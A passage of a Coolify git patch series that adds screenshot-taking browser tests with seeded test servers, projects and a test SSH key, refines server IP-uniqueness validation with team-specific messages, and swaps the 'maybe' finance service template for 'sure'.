screenshots to existing browser tests for debugging - Skip onboarding in dev mode for faster testing - Update gitignore to exclude screenshot directories --- .gitignore | 2 + bootstrap/helpers/shared.php | 4 + tests/Browser/screenshots/.gitignore | 2 - tests/v4/Browser/DashboardTest.php | 162 ++++++++++++++++++++++++++ tests/v4/Browser/LoginTest.php | 12 +- tests/v4/Browser/RegistrationTest.php | 15 ++- 6 files changed, 187 insertions(+), 10 deletions(-) delete mode 100644 tests/Browser/screenshots/.gitignore create mode 100644 tests/v4/Browser/DashboardTest.php diff --git a/.gitignore b/.gitignore index 935ea548e..403028761 100644 --- a/.gitignore +++ b/.gitignore @@ -38,3 +38,5 @@ docker/coolify-realtime/node_modules .DS_Store CHANGELOG.md /.workspaces +tests/Browser/Screenshots +tests/v4/Browser/Screenshots diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index 2173e7619..4372ff955 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -167,6 +167,10 @@ function currentTeam() function showBoarding(): bool { + if (isDev()) { + return false; + } + if (Auth::user()?->isMember()) { return false; } diff --git a/tests/Browser/screenshots/.gitignore b/tests/Browser/screenshots/.gitignore deleted file mode 100644 index d6b7ef32c..000000000 --- a/tests/Browser/screenshots/.gitignore +++ /dev/null @@ -1,2 +0,0 @@ -* -!.gitignore diff --git a/tests/v4/Browser/DashboardTest.php b/tests/v4/Browser/DashboardTest.php new file mode 100644 index 000000000..b4a97f268 --- /dev/null +++ b/tests/v4/Browser/DashboardTest.php @@ -0,0 +1,162 @@ + 0]); + + $this->user = User::factory()->create([ + 'id' => 0, + 'name' => 'Root User', + 'email' => 'test@example.com', + 'password' => Hash::make('password'), + ]); + + PrivateKey::create([ + 'id' => 1, + 'uuid' => 'ssh-test', + 'team_id' => 0, + 'name' => 'Test Key', + 'description' => 'Test SSH key', + 'private_key' => '-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW +QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk +hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA +AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV +uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA== +-----END OPENSSH PRIVATE KEY-----', + ]); + + Server::create([ + 'id' => 0, + 'uuid' => 'localhost', + 'name' => 'localhost', + 'description' => 'This is a test docker container in development mode', + 'ip' => 'coolify-testing-host', + 'team_id' => 0, + 'private_key_id' => 1, + 'proxy' => [ + 'type' => ProxyTypes::TRAEFIK->value, + 'status' => ProxyStatus::EXITED->value, + ], + ]); + + Server::create([ + 'uuid' => 'production-1', + 'name' => 'production-web', + 'description' => 'Production web server cluster', + 'ip' => '10.0.0.1', + 'team_id' => 0, + 'private_key_id' => 1, + 'proxy' => [ + 'type' => ProxyTypes::TRAEFIK->value, + 'status' => ProxyStatus::EXITED->value, + ], + ]); + + Server::create([ + 'uuid' => 'staging-1', + 'name' => 'staging-server', + 'description' => 'Staging environment server', + 'ip' => '10.0.0.2', + 'team_id' => 0, + 'private_key_id' => 1, + 'proxy' => [ + 'type' => ProxyTypes::TRAEFIK->value, + 'status' => ProxyStatus::EXITED->value, + ], + ]); + + Project::create([ + 'uuid' => 'project-1', + 'name' => 'My first project', + 'description' => 'This is a test project in development', + 'team_id' => 0, + ]); + + Project::create([ + 'uuid' => 'project-2', + 'name' => 'Production API', + 'description' => 'Backend services for production', + 'team_id' => 0, + ]); + + Project::create([ + 'uuid' => 'project-3', + 'name' => 'Staging Environment', + 'description' => 'Staging and QA testing', + 'team_id' => 0, + ]); +}); + +function loginAndSkipOnboarding(): mixed +{ + return visit('/login') + ->fill('email', 'test@example.com') + ->fill('password', 'password') + ->click('Login') + ->click('Skip Setup'); +} + +it('redirects to login when not authenticated', function () { + $page = visit('/'); + + $page->assertPathIs('/login') + ->screenshot(); +}); + +it('shows onboarding after first login', function () { + $page = visit('/login'); + + $page->fill('email', 'test@example.com') + ->fill('password', 'password') + ->click('Login') + ->assertSee('Welcome to Coolify') + ->assertSee("Let's go!") + ->assertSee('Skip Setup') + ->screenshot(); +}); + +it('shows dashboard after skipping onboarding', function () { + $page = loginAndSkipOnboarding(); + + $page->assertSee('Dashboard') + ->assertSee('Your self-hosted infrastructure.') + ->screenshot(); +}); + +it('shows all projects on dashboard', function () { + $page = loginAndSkipOnboarding(); + + $page->assertSee('Projects') + ->assertSee('My first project') + ->assertSee('This is a test project in development') + ->assertSee('Production API') + ->assertSee('Backend services for production') + ->assertSee('Staging Environment') + ->assertSee('Staging and QA testing') + ->screenshot(); +}); + +it('shows servers on dashboard', function () { + $page = loginAndSkipOnboarding(); + + $page->assertSee('Servers') + ->assertSee('localhost') + ->assertSee('This is a test docker container in development mode') + ->assertSee('production-web') + ->assertSee('Production web server cluster') + ->assertSee('staging-server') + ->assertSee('Staging environment server') + ->screenshot(); +}); diff --git a/tests/v4/Browser/LoginTest.php b/tests/v4/Browser/LoginTest.php index d5eb5034d..7666e07e2 100644 --- a/tests/v4/Browser/LoginTest.php +++ b/tests/v4/Browser/LoginTest.php @@ -15,7 +15,8 @@ $page = visit('/login'); $page->assertSee('Root User Setup') - ->assertSee('Create Account'); + ->assertSee('Create Account') + ->screenshot(); }); it('can login with valid credentials', function () { @@ -27,7 +28,11 @@ $page = visit('/login'); - $page->assertSee('Login'); + $page->fill('email', 'test@example.com') + ->fill('password', 'password') + ->click('Login') + ->assertSee('Welcome to Coolify') + ->screenshot(); }); it('fails login with invalid credentials', function () { @@ -42,5 +47,6 @@ $page->fill('email', 'random@email.com') ->fill('password', 'wrongpassword123') ->click('Login') - ->assertSee('These credentials do not match our records'); + ->assertSee('These credentials do not match our records') + ->screenshot(); }); diff --git a/tests/v4/Browser/RegistrationTest.php b/tests/v4/Browser/RegistrationTest.php index ab1149e60..e2a232357 100644 --- a/tests/v4/Browser/RegistrationTest.php +++ b/tests/v4/Browser/RegistrationTest.php @@ -14,7 +14,8 @@ $page = visit('/register'); $page->assertSee('Root User Setup') - ->assertSee('Create Account'); + ->assertSee('Create Account') + ->screenshot(); }); it('can register a new root user', function () { @@ -25,7 +26,8 @@ ->fill('password', 'Password1!@') ->fill('password_confirmation', 'Password1!@') ->click('Create Account') - ->assertPathIs('/onboarding'); + ->assertPathIs('/onboarding') + ->screenshot(); expect(User::where('email', 'root@example.com')->exists())->toBeTrue(); }); @@ -38,7 +40,8 @@ ->fill('password', 'Password1!@') ->fill('password_confirmation', 'DifferentPass1!@') ->click('Create Account') - ->assertSee('password'); + ->assertSee('password') + ->screenshot(); }); it('fails registration with weak password', function () { @@ -49,7 +52,8 @@ ->fill('password', 'short') ->fill('password_confirmation', 'short') ->click('Create Account') - ->assertSee('password'); + ->assertSee('password') + ->screenshot(); }); it('shows login link when a user already exists', function () { @@ -58,5 +62,6 @@ $page = visit('/register'); $page->assertSee('Already registered?') - ->assertDontSee('Root User Setup'); + ->assertDontSee('Root User Setup') + ->screenshot(); }); From 4ec32290cfcd4e46562d444d94f477b18fbfb2af Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 12 Feb 2026 08:10:59 +0100 Subject: [PATCH 030/305] fix(server): improve IP uniqueness validation with team-specific error messages - Refactor server IP duplicate detection to use `first()` instead of `get()->count()` - Add team-scoped validation to distinguish between same-team and cross-team IP conflicts - Update error messages to clarify ownership: "already exists in your team" vs "in use by another team" - Apply consistent validation logic across API, boarding, and server management flows - Add comprehensive test suite for IP uniqueness enforcement across teams --- .../Controllers/Api/ServersController.php | 10 +- app/Livewire/Boarding/Index.php | 6 +- app/Livewire/Server/New/ByIp.php | 11 +- app/Livewire/Server/Show.php | 12 +- templates/service-templates-latest.json | 34 +++--- templates/service-templates.json | 34 +++--- tests/Feature/ServerIpUniquenessTest.php | 110 ++++++++++++++++++ 7 files changed, 169 insertions(+), 48 deletions(-) create mode 100644 tests/Feature/ServerIpUniquenessTest.php diff --git a/app/Http/Controllers/Api/ServersController.php b/app/Http/Controllers/Api/ServersController.php index 2ee5455b6..a29839d14 100644 --- a/app/Http/Controllers/Api/ServersController.php +++ b/app/Http/Controllers/Api/ServersController.php @@ -519,9 +519,13 @@ public function create_server(Request $request) if (! $privateKey) { return response()->json(['message' => 'Private key not found.'], 404); } - $allServers = ModelsServer::whereIp($request->ip)->get(); - if ($allServers->count() > 0) { - return response()->json(['message' => 'Server with this IP already exists.'], 400); + $foundServer = ModelsServer::whereIp($request->ip)->first(); + if ($foundServer) { + if ($foundServer->team_id === $teamId) { + return response()->json(['message' => 'A server with this IP/Domain already exists in your team.'], 400); + } + + return response()->json(['message' => 'A server with this IP/Domain is already in use by another team.'], 400); } $proxyType = $request->proxy_type ? str($request->proxy_type)->upper() : ProxyTypes::TRAEFIK->value; diff --git a/app/Livewire/Boarding/Index.php b/app/Livewire/Boarding/Index.php index ab1a1aae9..0f6f45d83 100644 --- a/app/Livewire/Boarding/Index.php +++ b/app/Livewire/Boarding/Index.php @@ -283,7 +283,11 @@ public function saveServer() $this->privateKey = formatPrivateKey($this->privateKey); $foundServer = Server::whereIp($this->remoteServerHost)->first(); if ($foundServer) { - return $this->dispatch('error', 'IP address is already in use by another team.'); + if ($foundServer->team_id === currentTeam()->id) { + return $this->dispatch('error', 'A server with this IP/Domain already exists in your team.'); + } + + return $this->dispatch('error', 'A server with this IP/Domain is already in use by another team.'); } $this->createdServer = Server::create([ 'name' => $this->remoteServerName, diff --git a/app/Livewire/Server/New/ByIp.php b/app/Livewire/Server/New/ByIp.php index 1f4cdf607..eecdfb4d0 100644 --- a/app/Livewire/Server/New/ByIp.php +++ b/app/Livewire/Server/New/ByIp.php @@ -97,10 +97,13 @@ public function submit() $this->validate(); try { $this->authorize('create', Server::class); - if (Server::where('team_id', currentTeam()->id) - ->where('ip', $this->ip) - ->exists()) { - return $this->dispatch('error', 'This IP/Domain is already in use by another server in your team.'); + $foundServer = Server::whereIp($this->ip)->first(); + if ($foundServer) { + if ($foundServer->team_id === currentTeam()->id) { + return $this->dispatch('error', 'A server with this IP/Domain already exists in your team.'); + } + + return $this->dispatch('error', 'A server with this IP/Domain is already in use by another team.'); } if (is_null($this->private_key_id)) { diff --git a/app/Livewire/Server/Show.php b/app/Livewire/Server/Show.php index cc55da491..83c63a81c 100644 --- a/app/Livewire/Server/Show.php +++ b/app/Livewire/Server/Show.php @@ -189,12 +189,16 @@ public function syncData(bool $toModel = false) $this->validate(); $this->authorize('update', $this->server); - if (Server::where('team_id', currentTeam()->id) - ->where('ip', $this->ip) + $foundServer = Server::where('ip', $this->ip) ->where('id', '!=', $this->server->id) - ->exists()) { + ->first(); + if ($foundServer) { $this->ip = $this->server->ip; - throw new \Exception('This IP/Domain is already in use by another server in your team.'); + if ($foundServer->team_id === currentTeam()->id) { + throw new \Exception('A server with this IP/Domain already exists in your team.'); + } + + throw new \Exception('A server with this IP/Domain is already in use by another team.'); } $this->server->name = $this->name; diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index 3c5773d0e..5f53721fb 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -2681,24 +2681,6 @@ "minversion": "0.0.0", "port": "8065" }, - "maybe": { - "documentation": "https://github.com/maybe-finance/maybe?utm_source=coolify.io", - "slogan": "Maybe, the OS for your personal finances.", - "compose": "c2VydmljZXM6CiAgbWF5YmU6CiAgICBpbWFnZTogJ2doY3IuaW8vbWF5YmUtZmluYW5jZS9tYXliZTpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdhcHBfc3RvcmFnZTovcmFpbHMvc3RvcmFnZScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX01BWUJFCiAgICAgIC0gU0VMRl9IT1NURUQ9dHJ1ZQogICAgICAtICdSQUlMU19GT1JDRV9TU0w9JHtSQUlMU19GT1JDRV9TU0w6LWZhbHNlfScKICAgICAgLSAnUkFJTFNfQVNTVU1FX1NTTD0ke1JBSUxTX0FTU1VNRV9TU0w6LWZhbHNlfScKICAgICAgLSAnR09PRF9KT0JfRVhFQ1VUSU9OX01PREU9JHtHT09EX0pPQl9FWEVDVVRJT05fTU9ERTotYXN5bmN9JwogICAgICAtICdTRUNSRVRfS0VZX0JBU0U9JHtTRVJWSUNFX0JBU0U2NF82NF9TRUNSRVRLRVlCQVNFfScKICAgICAgLSBEQl9IT1NUPXBvc3RncmVzCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LW1heWJlLWRifScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gREJfUE9SVD01NDMyCiAgICAgIC0gJ1JFRElTX1VSTD1yZWRpczovL2RlZmF1bHQ6JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfUByZWRpczo2Mzc5LzEnCiAgICAgIC0gJ09QRU5BSV9BQ0NFU1NfVE9LRU49JHtPUEVOQUlfQUNDRVNTX1RPS0VOfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6MzAwMCcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQogIHdvcmtlcjoKICAgIGltYWdlOiAnZ2hjci5pby9tYXliZS1maW5hbmNlL21heWJlOmxhdGVzdCcKICAgIGNvbW1hbmQ6ICdidW5kbGUgZXhlYyBzaWRla2lxJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1tYXliZS1kYn0nCiAgICAgIC0gJ1NFQ1JFVF9LRVlfQkFTRT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NFQ1JFVEtFWUJBU0V9JwogICAgICAtIFNFTEZfSE9TVEVEPXRydWUKICAgICAgLSAnUkFJTFNfRk9SQ0VfU1NMPSR7UkFJTFNfRk9SQ0VfU1NMOi1mYWxzZX0nCiAgICAgIC0gJ1JBSUxTX0FTU1VNRV9TU0w9JHtSQUlMU19BU1NVTUVfU1NMOi1mYWxzZX0nCiAgICAgIC0gJ0dPT0RfSk9CX0VYRUNVVElPTl9NT0RFPSR7R09PRF9KT0JfRVhFQ1VUSU9OX01PREU6LWFzeW5jfScKICAgICAgLSBEQl9IT1NUPXBvc3RncmVzCiAgICAgIC0gREJfUE9SVD01NDMyCiAgICAgIC0gJ1JFRElTX1VSTD1yZWRpczovL2RlZmF1bHQ6JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfUByZWRpczo2Mzc5LzEnCiAgICAgIC0gJ09QRU5BSV9BQ0NFU1NfVE9LRU49JHtPUEVOQUlfQUNDRVNTX1RPS0VOfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBleGNsdWRlX2Zyb21faGM6IHRydWUKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAnbWF5YmVfcG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LW1heWJlLWRifScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6OC1hbHBpbmUnCiAgICBjb21tYW5kOiAncmVkaXMtc2VydmVyIC0tYXBwZW5kb25seSB5ZXMgLS1yZXF1aXJlcGFzcyAke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAncmVkaXNfZGF0YTovZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtIFJFRElTX0RCPTEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtICctLXBhc3MnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiAzcwogICAgICByZXRyaWVzOiAzCg==", - "tags": [ - "finances", - "wallets", - "coins", - "stocks", - "investments", - "open", - "source" - ], - "category": "productivity", - "logo": "svgs/maybe.svg", - "minversion": "0.0.0", - "port": "3000" - }, "mealie": { "documentation": "https://docs.mealie.io/?utm_source=coolify.io", "slogan": "A recipe manager and meal planner.", @@ -4548,6 +4530,22 @@ "minversion": "0.0.0", "port": "3567" }, + "sure": { + "documentation": "https://github.com/we-promise/sure?utm_source=coolify.io", + "slogan": "An all-in-one personal finance platform.", + "compose": "c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6ICdnaGNyLmlvL3dlLXByb21pc2Uvc3VyZTowLjYuNycKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1NVUkVfMzAwMAogICAgICAtIEFQUF9ET01BSU49JFNFUlZJQ0VfRlFETl9TVVJFCiAgICAgIC0gU0VDUkVUX0tFWV9CQVNFPSRTRVJWSUNFX0JBU0U2NF9CQVNFCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1zdXJlfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vdmFsa2V5OjYzNzknCiAgICAgIC0gREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9SVD01NDMyCiAgICAgIC0gU0VMRl9IT1NURUQ9dHJ1ZQogICAgICAtIFJBSUxTX0ZPUkNFX1NTTD1mYWxzZQogICAgICAtIFJBSUxTX0FTU1VNRV9TU0w9ZmFsc2UKICAgICAgLSAnT05CT0FSRElOR19TVEFURT0ke09OQk9BUkRJTkdfU1RBVEU6LW9wZW59JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICB2YWxrZXk6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3N1cmUtYXBwLXN0b3JhZ2U6L3JhaWxzL3N0b3JhZ2UnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMCcKICAgICAgaW50ZXJ2YWw6IDE1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogNQogIHdvcmtlcjoKICAgIGltYWdlOiAnZ2hjci5pby93ZS1wcm9taXNlL3N1cmU6MC42LjcnCiAgICBjb21tYW5kOiAnYnVuZGxlIGV4ZWMgc2lkZWtpcScKICAgIGVudmlyb25tZW50OgogICAgICAtIEFQUF9ET01BSU49JFNFUlZJQ0VfRlFETl9TVVJFCiAgICAgIC0gU0VDUkVUX0tFWV9CQVNFPSRTRVJWSUNFX0JBU0U2NF9CQVNFCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1zdXJlfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vdmFsa2V5OjYzNzknCiAgICAgIC0gREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9SVD01NDMyCiAgICAgIC0gU0VMRl9IT1NURUQ9dHJ1ZQogICAgICAtIFJBSUxTX0ZPUkNFX1NTTD1mYWxzZQogICAgICAtIFJBSUxTX0FTU1VNRV9TU0w9ZmFsc2UKICAgICAgLSAnT05CT0FSRElOR19TVEFURT0ke09OQk9BUkRJTkdfU1RBVEU6LW9wZW59JwogICAgdm9sdW1lczoKICAgICAgLSAnc3VyZS1hcHAtc3RvcmFnZTovcmFpbHMvc3RvcmFnZScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgdmFsa2V5OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMCcKICAgICAgaW50ZXJ2YWw6IDE1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogNQogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3N1cmUtcG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotc3VyZX0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgdmFsa2V5OgogICAgaW1hZ2U6ICd2YWxrZXkvdmFsa2V5OjgtYWxwaW5lJwogICAgY29tbWFuZDogJ3ZhbGtleS1zZXJ2ZXIgLS1hcHBlbmRvbmx5IHllcycKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3N1cmUtdmFsa2V5Oi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd2YWxrZXktY2xpIHBpbmcgfCBncmVwIFBPTkcnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1CiAgICAgIHN0YXJ0X3BlcmlvZDogM3MK", + "tags": [ + "budgeting", + "budget", + "money", + "expenses", + "income" + ], + "category": "finance", + "logo": "svgs/sure.png", + "minversion": "0.0.0", + "port": "3000" + }, "swetrix": { "documentation": "https://docs.swetrix.com/selfhosting/how-to?utm_source=coolify.io", "slogan": "Privacy-friendly and cookieless European web analytics alternative to Google Analytics.", diff --git a/templates/service-templates.json b/templates/service-templates.json index 545d9c62e..bcecf06c5 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -2681,24 +2681,6 @@ "minversion": "0.0.0", "port": "8065" }, - "maybe": { - "documentation": "https://github.com/maybe-finance/maybe?utm_source=coolify.io", - "slogan": "Maybe, the OS for your personal finances.", - "compose": "c2VydmljZXM6CiAgbWF5YmU6CiAgICBpbWFnZTogJ2doY3IuaW8vbWF5YmUtZmluYW5jZS9tYXliZTpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdhcHBfc3RvcmFnZTovcmFpbHMvc3RvcmFnZScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9NQVlCRQogICAgICAtIFNFTEZfSE9TVEVEPXRydWUKICAgICAgLSAnUkFJTFNfRk9SQ0VfU1NMPSR7UkFJTFNfRk9SQ0VfU1NMOi1mYWxzZX0nCiAgICAgIC0gJ1JBSUxTX0FTU1VNRV9TU0w9JHtSQUlMU19BU1NVTUVfU1NMOi1mYWxzZX0nCiAgICAgIC0gJ0dPT0RfSk9CX0VYRUNVVElPTl9NT0RFPSR7R09PRF9KT0JfRVhFQ1VUSU9OX01PREU6LWFzeW5jfScKICAgICAgLSAnU0VDUkVUX0tFWV9CQVNFPSR7U0VSVklDRV9CQVNFNjRfNjRfU0VDUkVUS0VZQkFTRX0nCiAgICAgIC0gREJfSE9TVD1wb3N0Z3JlcwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1tYXliZS1kYn0nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtIERCX1BPUlQ9NTQzMgogICAgICAtICdSRURJU19VUkw9cmVkaXM6Ly9kZWZhdWx0OiR7U0VSVklDRV9QQVNTV09SRF9SRURJU31AcmVkaXM6NjM3OS8xJwogICAgICAtICdPUEVOQUlfQUNDRVNTX1RPS0VOPSR7T1BFTkFJX0FDQ0VTU19UT0tFTn0nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjMwMDAnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDUKICB3b3JrZXI6CiAgICBpbWFnZTogJ2doY3IuaW8vbWF5YmUtZmluYW5jZS9tYXliZTpsYXRlc3QnCiAgICBjb21tYW5kOiAnYnVuZGxlIGV4ZWMgc2lkZWtpcScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbWF5YmUtZGJ9JwogICAgICAtICdTRUNSRVRfS0VZX0JBU0U9JHtTRVJWSUNFX0JBU0U2NF82NF9TRUNSRVRLRVlCQVNFfScKICAgICAgLSBTRUxGX0hPU1RFRD10cnVlCiAgICAgIC0gJ1JBSUxTX0ZPUkNFX1NTTD0ke1JBSUxTX0ZPUkNFX1NTTDotZmFsc2V9JwogICAgICAtICdSQUlMU19BU1NVTUVfU1NMPSR7UkFJTFNfQVNTVU1FX1NTTDotZmFsc2V9JwogICAgICAtICdHT09EX0pPQl9FWEVDVVRJT05fTU9ERT0